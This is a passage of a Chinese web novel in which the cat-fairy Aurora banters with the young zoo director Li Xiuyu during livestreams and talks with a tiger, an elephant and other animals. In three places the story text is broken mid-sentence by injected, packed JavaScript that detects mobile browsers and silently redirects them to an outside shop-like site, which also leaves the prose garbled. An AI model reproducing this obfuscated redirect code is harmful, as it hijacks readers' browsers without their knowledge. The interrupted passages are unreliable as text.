欧若拉吹了个口哨,心想,聊秘密可以,说多少秘密都可以,反正她也没有几个秘密,她可以把她知道的都抖搂出去,但得给钱才行。 她觉得自己急需一个翻译。 她朝黎修羽的方向大喊:“喵呜!黎修羽,helpme.” 黎修羽正在跟真正的包工头沟通设计图纸,闻言,看向欧若拉。 他走过来,弯腰看了眼屏幕:“怎么了?” 欧若拉弓着身子,在他身前走来走去,粉色的毛绒尾巴扫过他清晰的下颌线。 “喵呜,黎修羽,”欧若拉含糊不清,“他们在问我秘密。你来告诉他们,想知道秘密可以,但得打钱才行。” 黎修羽低眸看了欧若拉一眼,无奈道:“欧若拉,你太直白了,这样直播间会被封掉的。” 欧若拉被吓得后退一步,撞进黎修羽怀里:“猫妈妈呀,那我得怎么要钱才显得含蓄?天底下可没有免费的秘密哦。” 黎修羽扶住欧若拉肉乎乎的身体,语调清澈:“他们只是因为喜欢这个动物园才聚在这里,你不用问他们要什么,因为这个直播间收到的打赏都给你。” 欧若拉使劲点着头。 黎修羽想了想,又说,“但不要说跟我相关的事情,谢谢,不过,你也不知道什么。” 欧若拉抬头瞧他,琥珀色眼睛里的瞳孔眯成两条线:“你爱吃台湾红豆饼算你的秘密吗?” 黎修羽眼睫忽闪一下,眼神微动:“不算。” “你玩吧。”他扔下三个字,再次离开。 “不让我说的我偏要说。”欧若拉打了个哈欠。 她眨眨大大的眼睛,仔细瞧着弹幕。 弹幕:欧若拉喜欢吃肉吗? 欧若拉丝毫不带犹豫地把爪子放到“树”上。 她舔舔嘴角,又舔舔嘴角,一想到一会儿又能吃到新的小鱼干,就好想流口水。 弹幕:黎园长还是学生吗? 欧若拉呲起一颗牙,笑起来:“终于到这个凡夫俗子的秘密了。” 她指了指“树”。 弹幕:好奇黎园长有女盆友嘛 欧若拉在“树”和“杯”之间徘徊。 她真的没有注意过这个问题。 但是,黎修羽好像从来没有跟那个讨厌鬼局长一样到处开屏,使劲儿约会,所以…一定是他已经有女朋友啦,才不需要去相亲。 她确定一定以及肯定地,把爪爪摁在“树”上。 弹幕上飘过一片哀嚎之声。 弹幕:啊,补药拆散我的cp啊 弹幕:蒸煮亲自打假有了 弹幕:呜呜呜我也在磕你们俩的cp 欧若拉挠挠脑袋:“磕cp是什么东西?你们用头磕的吗?真奇怪。” 弹幕:呜呜呜听不懂 弹幕:道心破碎了家人们 弹幕:你们补药哭泣啊,欧若拉也没有说这指的不是自己 弹幕:楼上来了个大聪明 欧若拉不明白他们在说什么,她扒拉着弹幕,“啪”的一声,手机连带着支架都被她推到地上去了。 “啊噢……”欧若拉扭头去偷看黎修羽。 那边,黎修羽已修改完设计图, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17541873|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正好朝这边看过来。 四目相对。 欧若拉舔舔嘴角,眼睛眯成一条缝,笑起来:“其实我不是故意的,你信吗?” 黎修羽不想相信,但是他不得不信,因为欧若拉能说出口的,一定全都是真的。 他早就知道自己的唯物主义世界观破灭了。 他弯腰拾起手机时,一直戴在脖子上的埃塞俄比亚鳞芹花瓣标本坠下来,在空中晃来晃去。 欧若拉的猫咪天性即刻爆发,她跑到桌角,半个身子都探出去,伸着爪子,扒拉着黎修羽的项链玩。 而整个直播间的观众原先只能被迫看着湛蓝色的天空,现在却惊喜地看见了放大在眼前的黎修羽。 黎修羽站直了。 他把项链重新塞进毛衣领子里。 欧若拉悻悻而归,沿着桌边走着,跟随黎修羽。 黎修羽放下手机,瞧着欧若拉:“去吃小鱼干吧,下午再聊。” 欧若拉知道自己没底气,乖巧地朝摄像头挥了挥爪子。 黎修羽对着镜头说:“要下播了,我们下午再…” 他沉默了。 因为他看见满屏的弹幕都在哭泣。 弹幕:黎园长名草有主了 弹幕:那个女孩真幸福 弹幕:黎园长的女朋友也一定很优秀很漂亮 弹幕:但是黎园长和欧若拉真的很配 弹幕:人和动物怎么能般配? 弹幕:楼上不磕人宠的来这里讨嫌呢 弹幕:黎园长我是你的生命粉,该谈就谈,我亿点都不难过 黎修羽忍不住挑起一只眉毛。 他大概猜出了欧若拉回答了些什么问题。 他语气尴尬,想了想,又不知道为什么要像无关的人解释这种事情:“欧若拉是只爱开玩笑的猫,她的话能让大家乐一乐也挺好…的。” 欧若拉蹲在墙角的阴凉处大快朵颐,几个面容朴实的老工人也坐在不远处,眼睛里泛着笑意。 “这小猫崽子,真可爱。”一个戴着黄色头巾的阿姨指着欧若拉笑。 旁边的红头巾阿姨也笑着应道:“小黎园长真会养,白白胖胖的,真像小乳猪。” 欧若拉咽下嘴里嚼着的小鱼干,眼睛里全都是火焰。 “喵呜,我要挠…”她才刚准备恶狠狠地发泄一通,就被黎修羽挡住了视线。 黎修羽站在她面前,隔开她和那两个阿姨。 “挠人是要赔钱的,”黎修羽冷淡地吐出几个字,“欧若拉,先买票,后上车。” 他像欧若拉伸出手,做了个交钱的动作。 欧若拉忍住把黎修羽手指头都咬下来的冲动,退至满盘小鱼干后面:“喵呜,我可是负债累累的小猫咪,我不挠不就是了,哼,真是个大好人。” “喵?”她秒变飞机耳,“我明明想说你是黄世仁的嘞。” 她又开始讨厌自己的嘴了,但嘴依旧吃得很香也很快。 欧若拉对黎修羽说:“那你说,她们是不是在讨厌我?” 黎修羽感叹道:“不是。” “我不信,他们都说我是猪了。你解释给我听,喵呜。”欧若拉咬了口小鱼干,嘴里吧唧吧唧,眼睛一下一下地往上瞟着黎修羽。 黎修羽向旁边闪开,露出那两个阿姨的身影。 他语气平淡,但却异常清晰:“看看她们的眼睛。” 欧若拉往前面看去。 她看见两双孕满了温柔笑意的眼睛。 27. 你要相亲? 黄头巾阿姨对欧若拉招招手,红头巾阿姨夹起块红烧肉,嘴里发出“嘬嘬嘬”的声音。 欧若拉越想越震惊:“红头巾竟然要投喂我?” 黎修羽说:“想尝尝也可以。” 欧若拉扬起下巴,“哼”了一声,伸了个大懒腰,才终于迈着猫步踱过去。 她粉嘟嘟的三瓣儿小嘴离红烧肉越来越近,抬眼,瞥了红头巾阿姨一眼,故作高冷地轻轻将肉咬进嘴里。 咯吱一声,红烧肉的肥肉化作油滴,瞬间在嘴里爆开。 好香的猪油味! 原来猪猪的肥肉是这个味道哎! 虽然她确定一定以及肯定,红烧肉的确没有黎修羽外婆的小鱼干好吃,但偶尔这么来一口,还是蛮美味滴。 哼,尊重小猫仙子应该被写进每个人类的DNA里,这两位头巾人类嘛,暂时可以打满分。 欧若拉被两位阿姨抱进怀里。 阿姨们摸摸她的头,又挠挠她的脖子,让她好不惬意,呼噜呼噜的声音在喉咙里止不住地响起。 “喵呜,有鉴于你们如此殷切,本仙女就恩准你们给我按摩吧!” 黎修羽给两位阿姨端过两杯温水,看见欧若拉逐渐谄媚的表情,嘴角不自知地弯了一下。 “谢谢黎园长啊。”黄头巾阿姨说。 红头巾阿姨接过水:“谢谢,谢谢,哎呀,你一个年轻人经营这么大的动物园真厉害呀,我儿子要是也像你一样出息,这辈子再累也值了。” 黎修羽坐在欧若拉对面,笑起来:“这儿都是以前的园长弄的,我没接手多久,谈不上厉害。” 包工头大哥在旁边打趣:“黎园长,你父母才是这个。” 他比了个大拇哥,继续道:“当初你父母建这个动物园,也是找的我们公司,你说巧不巧?老章,你那时候也在不?” 章大爷走过来,乐呵呵地笑:“在啊,我那时候还是个壮劳力。” 他坐到黎修羽旁边:“黎园长,你爹妈真是大好人,我老章逢人就这么说。” 欧若拉“喵呜”一声:“有多好?” “嘿,这小猫还搭腔呐。”章大爷笑着说。 红头巾阿姨摸摸欧若拉的毛绒脑袋:“哈哈哈,可是我们听不懂啊。” 欧若拉朝黎修羽看去:“你翻译。” 黎修羽原本不想说话,想了想,说:“欧若拉问您,我…爹妈有多好。” 包工头说:“您还能听懂这猫说话啊。” 章大爷说:“哈哈哈,她问啊。” 他也用粗糙的掌心摸了摸欧若拉的脑袋,欧若拉觉得今天的脑袋暖烘烘的,舒服极了。 “咱这附近好多人都知道,你爹妈对动物特别好,能去非洲那地儿呆那么久,收留这么多动物,这真不是一般的善良。” 包工头符合道:“老章家就住这附近。” 章大爷说:“对。以前你爹妈为了办这个园子,没少到咱们这片儿郊区宣传,我还帮着逮过一只偷溜出去的大白老虎呢,那老虎,好家伙,个头太大了!” 欧若拉一惊:“喵呜?虎白糖吗?” 章大爷说:“我们这片儿住着的人,基本上每过一段时间都能碰上他俩下来,给那些动物采购。哎呀,每次见他们都比以前瘦啊,真就常年操劳,累出来的。” 欧若拉嘴里还是呼噜呼噜的,眯着眼睛看黎修羽。 黎修羽眉目之间却完全没有父母被认可而生的骄傲之意。 黄头巾阿姨摸摸欧若拉的肚子,说:“黎园长完全就是随了爹妈了吧,善良的小伙子,对我们这些干活的也好。” 欧若拉跳到地上,到黎修羽脚边。 “喵呜,你看,他们也觉得你应该待在这个动物园!” 黎修羽无奈地看向她。 “唉?您爹妈呢,黎园长?咋放心你自个儿担着这里?”章大爷问。 黎修羽说:“车祸走了。” 欧若拉正躺在黎修羽鞋上蹭,闻言,打了个愣怔。 “喵呜…” 大家都不知道该说什么好,章大爷也觉得是自己哪壶不开提哪壶。 包工头拍拍黎修羽肩膀:“唉,我们原先以为你父母是退休了呢,这真是好人不长命啊。但黎园长你现在这么优秀,这么像他们,他们泉下有知,也会有慰藉。” 欧若拉看见黎修羽沉默了,似乎还轻轻地嗤笑了一声。 红头巾阿姨说:“对啊,黎园长这样的孩子,做父母的都得满意。黎园长啊,你今年多大了?” 黎修羽答道:“20了。” 红头巾阿姨说:“你还在读书吗?在哪里?” 黎修羽说:“咱本地的大学。” 黄头巾阿姨笑起来:“顶顶好的地方。找对象了没啊?” 欧若拉翻身,站起来,想抢答这个问题。 她觉得自己知道答案。 黎修羽笑了笑:“没。” 欧若拉站起来,两只粉色的前爪搭在黎修羽膝盖上,扒拉他的胳膊。 “你为什么要说没有呢?喵呜?” 黎修羽低着眸子看她,说:“欧若拉,这是事实。” 欧若拉摇摇头:“不兑,你没女朋友那你为什么不去约会?” 黎修羽疑惑道:“欧若拉,你脑回路真清奇。” 欧若拉也有点懵:“喵呜?那你的意思是你真的没有女朋友?也不想约会吗?” 黎修羽挑挑眉,当作回答。 欧若拉胡须颤抖:“喵呜!黎修羽,你这样的凡夫俗子才是我的爱。” 黎修羽心间一颤。 欧若拉自言自语:“比那个天宫的讨厌鬼好一万倍,你不找女朋友不约会,这样就有空去你外婆家给我拿更多好吃的小鱼干啦。黎修羽,永远都不要约会啦,好不好?” 黎修羽隐秘地呼出口气。 包工头说:“哎呀,人黎园长年纪轻轻,找对象这事儿肯定不着急。” 红头巾阿姨说:“哎呀,别这么说。我有个姐妹,她女儿跟你年纪相仿,大你三岁,女大三,抱金砖,你见见不?” 黎修羽刚要拒绝,欧若拉先一步冲出去。 她浑身炸毛,朝着红头巾阿姨龇牙咧嘴,哈起气来。 “哈,谁都不准抢走黎修羽!你不准给他介绍女朋友,不准让他去约会!喵呜,气死我了,我不允许,我要狠狠地咬你。” 其他人是听不懂的,可黎修羽全都懂。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546223|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他立即按住欧若拉,抱进怀里。 情急之下,他学着其他人那样,摸摸欧若拉圆滚滚的毛绒脑袋:“阿姨,谢谢你的好意,我现在养猫养动物的,太忙了,这种事就不考虑了。” 欧若拉恶狠狠地喘着气,嘴里骂骂咧咧,想往前爆冲,却被黎修羽按在怀里。 直到亲耳听见近在咫尺的黎修羽拒绝了那个可恶的红头巾的邀请,才慢慢地泄出来一点儿气。 “消气了?”黎修羽问。 欧若拉哼一声,从黎修羽怀里跳下去。 工人们开着挖掘机整理地面,欧若拉跳到其中一台挖掘机最顶上,像个指挥官一样,坐得笔直。 “欧若拉,坐好喽!要拐弯啦。”开着挖掘机的黄头巾阿姨笑着喊。 “黎修羽,黎修羽,”她朝黎修羽挥挥爪子,又立即摆好姿势,“你快,就这个角度,偏移一分我都不会允许!” 黎修羽没吱声,但手上翻转摄像头,把欧若拉放进直播间屏幕里。 欧若拉的毛发和胡须都被热乎乎的春风吹起,她吸了口甜甜的空气:“哇,黎修羽,我简直太霸气啦,像玉皇大帝一样,这片儿都是我的领地。” 直播间人数已飙升至十万人。 弹幕:欧若拉爬得那么高!(众筹人数+1) 弹幕:黎园长,我来助力你(众筹人数+1) 弹幕:想看虎白糖,黎园长求满足(众筹人数+1) 已经是下午三点了,黎修羽听见隔壁虎红糖嗷呜乱叫的声音,便向百虎园走去。 刚走到百虎园西边,就听见两只老虎在密谋什么东西。 但黎修羽听不懂。 直播间里更是疑惑,因为他们只能看见一白一黄的两根虎尾巴挨在一起。 随着镜头上移,大家才终于看见,虎白糖和虎红糖正拼命扬起脑袋,往“基地”那边瞅。 欧若拉悄咪咪走过来。 其实她也不是故意悄咪咪,这都要怪黎修羽的眼睛太过于专注了,才显得她仿佛在故意偷偷摸摸似的。 她走到黎修羽身后,“啪”地一声,一爪拍在他精干的小腿上。 黎修羽浑身哆嗦一下,立即镇定自若,回头看她。 “喵呜?”欧若拉嘿嘿一笑,嘴努子缓缓舒展开,“此时此刻,是不是特别需要我这只美女翻译咪?” 粉色尾巴摇来摇去,地上的尘土被她轻轻扫起,飘至空中,又落了满地。 黎修羽点了下下巴,嗓音清淡:“是的,热烈欢迎。” 他把摄像头挪向欧若拉。 欧若拉圆圆的脑袋撑满了整个直播间,阳光刺眼,琥珀色眸子里的瞳孔变成两条笔直的细线。 弹幕炸了。 弹幕:宝宝!!! 弹幕:好萌啊,这个角度好萌啊 弹幕:黎园长以后多多这个角度拍欧若拉好嘛? 弹幕:爱人的摄像头里的欧若拉最好看啦 弹幕:磕了这对cp! 欧若拉走到黎修羽身前,头也不抬:“我需要某人将我抱起,才能看得见那两只老虎哦。” 黎修羽在欧若拉身后做了个“明白了”的表情,一把将欧若拉抱起。 28. 说重点,求你了! 欧若拉仰头,看黎修羽:“黎修羽,百虎园为什么叫百虎园呢?我觉得这里应该改名叫二虎园。喵呜,这样才正确。” 黎修羽的镜头始终是对着欧若拉的,弹幕都在好奇欧若拉叽里咕噜地说了什么。 黎修羽说:“欧若拉说,这里应该改名叫二虎园。” 弹幕:哈哈哈哈哈哈哈 弹幕:我家子涵真聪明,还会算数呢 弹幕:我也有疑惑但我一直没说 黎修羽想起来他父母留下的那本笔记:“之前的园长们是想在有生之年收留很多很多老虎,所以就提前建好了这个大园子。” 欧若拉眨眨眼:“那你父母也太惨了,愿望都没达成,就出车祸去世了耶。” 黎修羽眼睛里的神色像原始森林里潜伏在深处的昏暗洞穴中不能透出的光。 欧若拉没瞧见,但还是叹了口气:“啊,我真是只说话直白的小猫咪。” 虎白糖和虎红糖还在观看施工现场。 虎红糖把爪子搭在虎白糖背上,虎白糖低下了头。 欧若拉说:“虎白糖说觉得这一切都不可思议。” 黎修羽终于把镜头转向远处的两只老虎。 “虎红糖说…”欧若拉大叫一声,“喵呜!虎红糖,你大声点儿,我在偷听,听不清!” 两只老虎猛地一齐回头。 虎白糖把头重新转回去了。 虎红糖说:“猫仙大人,我说,白糖哥马上就要感谢黎园长了!黎园长,我说,白糖哥现在也有点儿想感谢您啊!” 欧若拉点点头,全都翻译给黎修羽。 黎修羽面无表情,托在欧若拉身下的手指猛地一曲。 一只肥美的胖老鼠从他俩身后的野花丛里探出来。 “猫仙大人!” 欧若拉的小脑袋从黎修羽旁边绕过来,问:“大灰?” 黎修羽回过头去。 鼠大灰一见黎修羽,就以迅雷不及掩耳之势躲到小花后面。 欧若拉说:“别躲啦!咱们园长不会揍你的啦!我说得对吗?喵呜?” 黎修羽答道:“你说的都是真的。” 欧若拉点点脑袋:“对哦!” 鼠大灰慢慢走出来,但也只露出半个身体:“猫仙大人,我们鼠鼠上神阿金找您,她说她有很重要很重要的事情要告诉您!特着急!” 弹幕:啊!这大老鼠也太肥了 弹幕:老鼠也通人性?我好像听见老鼠叫了 弹幕:欧若拉快去抓老鼠呀,想看 弹幕:美女猫猫不抓老鼠,乖乖 弹幕:欧若拉负责貌美如花,黎园长负责赚钱养家 欧若拉在黎修羽怀里蹭了蹭,对鼠大灰说:“你先去,我马上就位。” “遵命!”鼠大灰立即钻进地上挖好的洞坑。 欧若拉说:“黎修羽黎修羽,我的好朋友找我,她好着急!” 黎修羽眼波微颤,抱着欧若拉走。 一路上,经过的所有园区的动物都凑在路边,隔着栏杆问欧若拉。 “阿弥陀佛,神仙大人,这个小园长真的要帮虎白糖回家?” “猫仙大人,快告诉我这不是真的!虎白糖昨天还说想去死呢!” “猫仙大人,小园长是不是喜欢我们啦?” 欧若拉笑得胡须都颤抖,仰头看黎修羽:“哈哈哈,他们问你。” 黎修羽扫视了一圈那些他原本认为都是NPC的动物,边走边说:“请翻译?” 欧若拉说:“阿弥陀佛,神仙大人!这个小~园~长~真的要帮虎白糖回家???” 黎修羽了然:“是的。” 声音不大。 但所有动物都听见了。 黎修羽的回答仿佛是寂静冰面上突然落下的鹅卵石,这高密度的小石头溅起的水花把他们最好奇的疑惑浇灭了。 阿金正坐在地上,长长的鼻子一抽一抽,放声哭泣。 象妈妈在阿金旁边,急得走来走去,给阿金卷来香蕉和挂着杏花骨朵的嫩树枝。 “你的好朋友…是这头小象?”黎修羽迟疑道。 欧若拉乐呵呵地点点头:“哭得惨吧?她最喜欢哭哭唧唧了!” 她又摇摇头:“但是她不是小象哦,她是锦毛鼠,是超级萌的小老鼠!” 黎修羽说:“嗯,所以她是投错胎了?” 欧若拉说:“对啊!古有天蓬元帅错投猪胎,今有天宫书局创世鼠错投象胎。” 黎修羽看着这头把鼻子甩来甩去的小象,不禁生出几分感慨。 黎修羽第一次看到大象有如此丰富的情绪,在他有限的关于大象的印象里,非洲象一定是从早到晚都非常镇静的一类生物,就算他给他们投喂最新鲜的香蕉,他们的动作也依旧缓慢,眼睛里更不可能有任何情绪。 直播间人数飞速飙升,越来越多的人被吸引进来。 “阿金!”欧若拉大喊一声,耷拉着嘴巴,倒在黎修羽臂弯里,揉揉眼睛,假装抽泣,“哎呀呀,阿金啊!” 黎修羽像被电流穿过全身一样,快速眨了下眼睛。 那根总是写着厌烦的心弦,断在欧若拉假装揉眼睛的粉色爪子上,像天冷时结在窗户上的冰花,被她一个哈欠就哈化成水滴。 阿金立即停止哭泣,象鼻子擦擦眼角,朝欧若拉和黎修羽这边望过来。 “欧若拉!”她也大喊起来。 “哎呀呀,小老鼠,你怎么这么搞笑!” 欧若拉呜呜咽咽,三瓣儿嘴角却含笑,见阿金向她飞奔而来,马上就要冲到栏杆这里,立即伸爪。 “停!瞧瞧你庞大的身体!”欧若拉说,“你要是把栏杆撞坏了,那就得拨资金给你修栏杆诶!这绝对滴不可以!” 弹幕都在问黎修羽,欧若拉在说什么。 黎修羽说:“欧若拉在教育这头小象,维护动物园公共设施。” 弹幕:欧若拉太乖啦!(众筹人数+1) 弹幕:当家做主的典范(众筹人数+1) 弹幕:所有动物都好可爱呀受不鸟了。。。 阿金象鼻子再次抽泣:“欧若拉,呜呜呜,我还不适应嘛!妈呀…好甜…” 她突然笑起来,眼睛里都是星星,象鼻子抬起来,指指欧若拉,又指指黎修羽:“欧若拉,这个男人好帅哦,你们…嘿嘿,美丽的猫仙和帅气的凡人组cp吗?” 欧若拉用爪子挠挠脑袋:“阿金你好花痴哦!但是你夸我美丽我还是很开心的啦!说吧,怎么个事儿?” 阿金又用鼻子擦擦眼泪:“哎呀,人家听说,听说那个可恶又讨厌的园长要给老虎建别墅嘛!就…也想去看看,给我的小说积累素材。但是那头…哎呀…我妈妈,她非要用鼻子揪我的尾巴,不让我冲出去。” 阿金回头,生气地瞅了身后的象妈妈一眼。 象妈妈朝阿金笑,又朝欧若拉笑起来。 欧若拉秒变飞机耳:“我也不愿意让你冲出来,狗阿金,这个动物园的财产以后都算在我头上,你不准破坏我的私有财富,不然我会忍不住揍你的。” 阿金又要哭了:“那你帮我出去嘛,你去求求那个特别讨厌的臭坏蛋,你都给他红豆饼吃啦,呜呜呜,他也得给你面子。” 欧若拉摆摆爪子:“好吧好吧,你等一下。” 她对身边一脸懵的黎修羽说:“黎修羽,阿金也想去看你的大工程,她也是神仙哦,以前特别厉害,现在很菜鸡…” 黎修羽挑起一只眉毛。 阿金小声说:“欧若拉,说重点,求你了。” 欧若拉继续说:“咳咳,我以两个天神的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550152|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名义,求求你把她关进百虎园里吧!她绝对绝对不会把老虎吃掉的!你不准不同意。” 黎修羽说:“你朋友的情绪不是很稳定。” 欧若拉摇摇头:“恭喜你发现了华点,写小说的几乎都是精神病。但是呢,阿金一直都是乖乖的孩子,除了刚刚你看见的之外!” 黎修羽弯了弯嘴角,点点头。 阿金看看黎修羽,又看看欧若拉,鼻子里出来两道气,小声道:“天啊,欧若拉,我才琢磨过来,他就是那个甩卖我们的大傻蛋啊!” 黎修羽跟阿金对视后,问:“欧若拉,她在说什么?” 欧若拉才放松下来的耳朵又变成飞机耳了,她缓慢地回头,不敢看黎修羽。 “嘿嘿,她没说…”她的嘴巴突然不受控制,眼睛越瞪越大“她从我这里知道你是要把我们都给卖掉的臭混蛋啦!我全都告诉她啦!偶尔添油加醋的那种!怎样!来揍我呀!有本事你现在就把我从这里扔下去!” “救命…”欧若拉呆住几秒,缓慢地捂住嘴巴,把整个脑袋埋进黎修羽臂弯里面,弱弱地吐出两个音节。 阿金在栅栏里面尴尬地笑起来:“哎呀…这大实话,你们俩真是一对另类的cp。” 黎修羽哑口无言。 她说的全都是真的。 他就是想卖掉这里。 欧若拉埋着的脑袋不愿意起来,声音越来越小,沙哑又委屈,像两张砂纸互相摩擦:“求你,别把我扔下去。” “欧若拉,你真是从来都不说假话,你的确是只说话直白的动物。”黎修羽答道。 欧若拉露出一只眼睛,眨眨:“你没把我扔下去,我可以理解为你默许了吗?” 黎修羽说:“我还能说什么呢?” 欧若拉呼出口气,瘫倒在黎修羽怀里,朝阿金摆摆手:“快来谢谢我。” 阿金的象鼻子上下甩动:“啊!我爱你啊欧若拉!可是他也太宠你啦!你骂他他竟然都不生气!” 欧若拉捋着胡子:“我这么漂亮!” 阿金发出一声象叫,两只前蹄抬起,又猛的跺在地上,地动山摇:“太甜啦!” 虎白糖和虎红糖仰着脑袋,嘴巴越张越大。 虎红糖的下巴快掉到地上。 欧若拉抬爪,帮她合上了。 “你们好,我是锦毛鼠阿金。”阿金用象鼻子勾起两只老虎的爪子,上下甩了甩,甩得他俩像被台风卷起的树叶,差点儿飞到基地里提前开始训练。 欧若拉说:“阿金,千万不要一屁股坐死他俩,他俩也是小妖精哦。” 虎白糖终于回神,拖着虎红糖往后撤一步,瞬间匍匐在地:“参见鼠仙大人。” “你俩当初怎么不给我行如此隆重的礼?”欧若拉弹射到站在百虎园门口的黎修羽身边,浑身炸毛,像只生了气的刺猬。 “呜呜呜,谢谢你们承认我的老鼠身份。”阿金往后退了一步,也匍匐在地,给他俩还礼。 整个百虎园都像地震了一样,连带着隔壁的工人们也跌坐在地上。 她屁股下溅起的尘土飞到栏杆外看热闹的猪堡堡脸上,猪堡堡打了个喷嚏,甩出来的鼻涕又喷射到阿金的屁股上。 “啊哦…”猪堡堡瞪大黄豆大小的眼睛,立即躲起来了。 其实阿金皮太厚了,完全没有感觉到。 欧若拉“喵呜、喵呜”地咕哝,抬头,问黎修羽:“黎修羽黎修羽,他们为什么不给我作揖?难道是因为他们更害怕阿金?” 黎修羽说:“转变成陈述句。” 欧若拉眨眨眼睛:“阿金比我威慑力更大。” 黎修羽点了下下巴:“看来是这样的。” “靠!” 欧若拉怀疑黎修羽在她的腮里安装了打气筒,因为她的大脸蛋儿瞬间就鼓起来了。 29. 猪堡堡不能吃 黎修羽嘴角隐秘地抽搐了一下,欧若拉指甲剜进黎修羽的衬衣里:“黎修羽你笑我?” 黎修羽不看欧若拉,眼睛淡漠地往别处瞥,脸上的表情平淡得像没有涟漪的湖泊,薄唇轻启,吐出三个字:“并没有。” 欧若拉“哼”一声:“难道我也要变成大象那样的大块头,才显得更凶猛吗?喵呜,庆幸我没投胎成大象吧,要不然你现在可就得扛着大象走来走去啦。黎修羽,你能抱得动大象吗?” 黎修羽抱着欧若拉往基地的方向走:“抱不动。” 欧若拉自言自语:“喵呜,如此看来,我对你还是恶毒之中夹杂了一纳米仁慈的啦。” 黎修羽语调很轻,和刚刚从他面前飘过的柳叶一样干净:“噢,那真是多谢你了。” “只要你爱我们这些小动物,尤其是爱我,尤其是我哦,那就不用跟我这么客气哈,”欧若拉摇头晃脑,“劝阻你这个凡夫俗子使用敬语,是不是显得我很慷慨?” 黎修羽笑起来:“最后怎么不用陈述句?” 欧若拉说:“那当然是因为我也可以称自己为吝啬鬼啦。你真坏啊,黎修羽!” 她啊呜一口,含住黎修羽隔着衬衣的胳膊,牙齿抵在硬挺的布料之外,可以感觉到衬衫内部藏着的皮肤温度。 黎修羽“嘶”地一声,顺势把欧若拉放在桌子上。 “我们的聊天内容?欧若拉,要说吗?”黎修羽双手撑着大腿,看着屏幕说。 两只肉乎乎的粉色爪子立即一起捂住黎修羽的嘴,欧若拉声音很小,但她和黎修羽的确离得太近了,黎修羽全都能听清楚。 “我求你了,别说话,绝对不可以在我的千万粉丝面前毁坏我的形象…不然我会哭的,真的!” 她眨眨眼睛,看着黎修羽:“请相信我真挚的眼神。” 阿金的象鼻子指向他俩的背影:“你们快看。” 虎白糖和虎红糖以及躲在栏杆后面的猪堡堡一齐看过去。 阿金笑起来:“美丽猫咪和帅气园长要亲亲啦。” 两只老虎和一头猪,同时张大了嘴巴,大到能塞进去一个麒麟一号大西瓜。 黎修羽抿起薄唇,点了点头,唇缝里逃出几个字:“放下手吧。” 欧若拉眼珠子转了两圈,在黎修羽的薄唇上揉了一下,放下去了。 黎修羽又抿了抿唇,他唇部柔软的皮肤似乎还没有对骤然离开的滚烫反应过来。 他说:“欧若拉和我之间有些小秘密,谢谢大家尊重…” 他看向欧若拉:“来自欧若拉的神秘。” “bingo!”欧若拉脑袋扬起。 弹幕:好甜 弹幕:受不了了(众筹人数+1) 弹幕:2026年最甜cp! 夜里,凉风吹了满地,杨絮逮着窗缝和门缝的犄角旮旯,肆意地向屋里钻。 黎修羽坐在电脑后面,统计众筹额。 欧若拉躺在电脑旁边,一只爪子摁在鼠标上,啪嗒,啪嗒,故意乱点,“亲爱的黎修羽,这几天要给我多少小钱钱呢?” 黎修羽说:“这个数。” 他把电脑转向欧若拉。 欧若拉猛地爬起:“个…十…百!千!万!十万!!!猫妈妈呀,我有十万块啦。” 黎修羽眼里含着笑意,语气却还是很平淡,像他的眼睛一样:“是的。” 欧若拉说:“啊,那我要给虎白糖分点儿吗?” 黎修羽说:“不需要,众筹款已经足够了。” 欧若拉在桌子上滚了一遭:“那太好啦!我要全都据为己有!” 黎修羽挑眉笑了下。 微风吹来一朵杨絮。 在即将落到欧若拉身上时,被黎修羽握在手心里。 “欧神仙,我怕痒!”虎白糖背部抵着栏杆。 欧若拉咬着虎白糖手背的毛皮,把他往兽医的方向拉。 “喵呜…虎白糖!你还想不想回家啦?!” 虎白糖一听见“回家”这两个字,顿时浑身僵直,下一秒,冲过去了。 黎修羽从野生动物救护中心请来的兽医正在给虎白糖扎针。 虎白糖一动不动,任由兽医操作。 兽医说:“黎园长,这老虎好听欧若拉的话。” 欧若拉“哼”一声:“我是谁呀!” 黎修羽答:“星羽动物园的…” “王!”欧若拉大叫。 兽医说:“哎呀,欧若拉还会学狗叫呢!” 欧若拉立即爆起,向兽医飞过去。 黎修羽在欧若拉跳跃的途中,将她捞在怀里。 “喵呜!她!”欧若拉抬头,嘴努子上下蠕动。 黎修羽点点头:“你是猫,我们都知道。” 欧若拉“喵呜”一声:“这还差不多。” 太阳已经走到头顶了。 欧若拉坐着,黎修羽站着,虎白糖趴着,虎红糖躺着。 隔着栏杆,阿金蹲着,猪堡堡偷看着。 看什么呢? 他们一起看着训练基地里摆放着的五只机械假猪。 “这也太太太真了吧!”欧若拉说。 虎红糖躺在地上,点点头:“和猪堡堡长得像。” 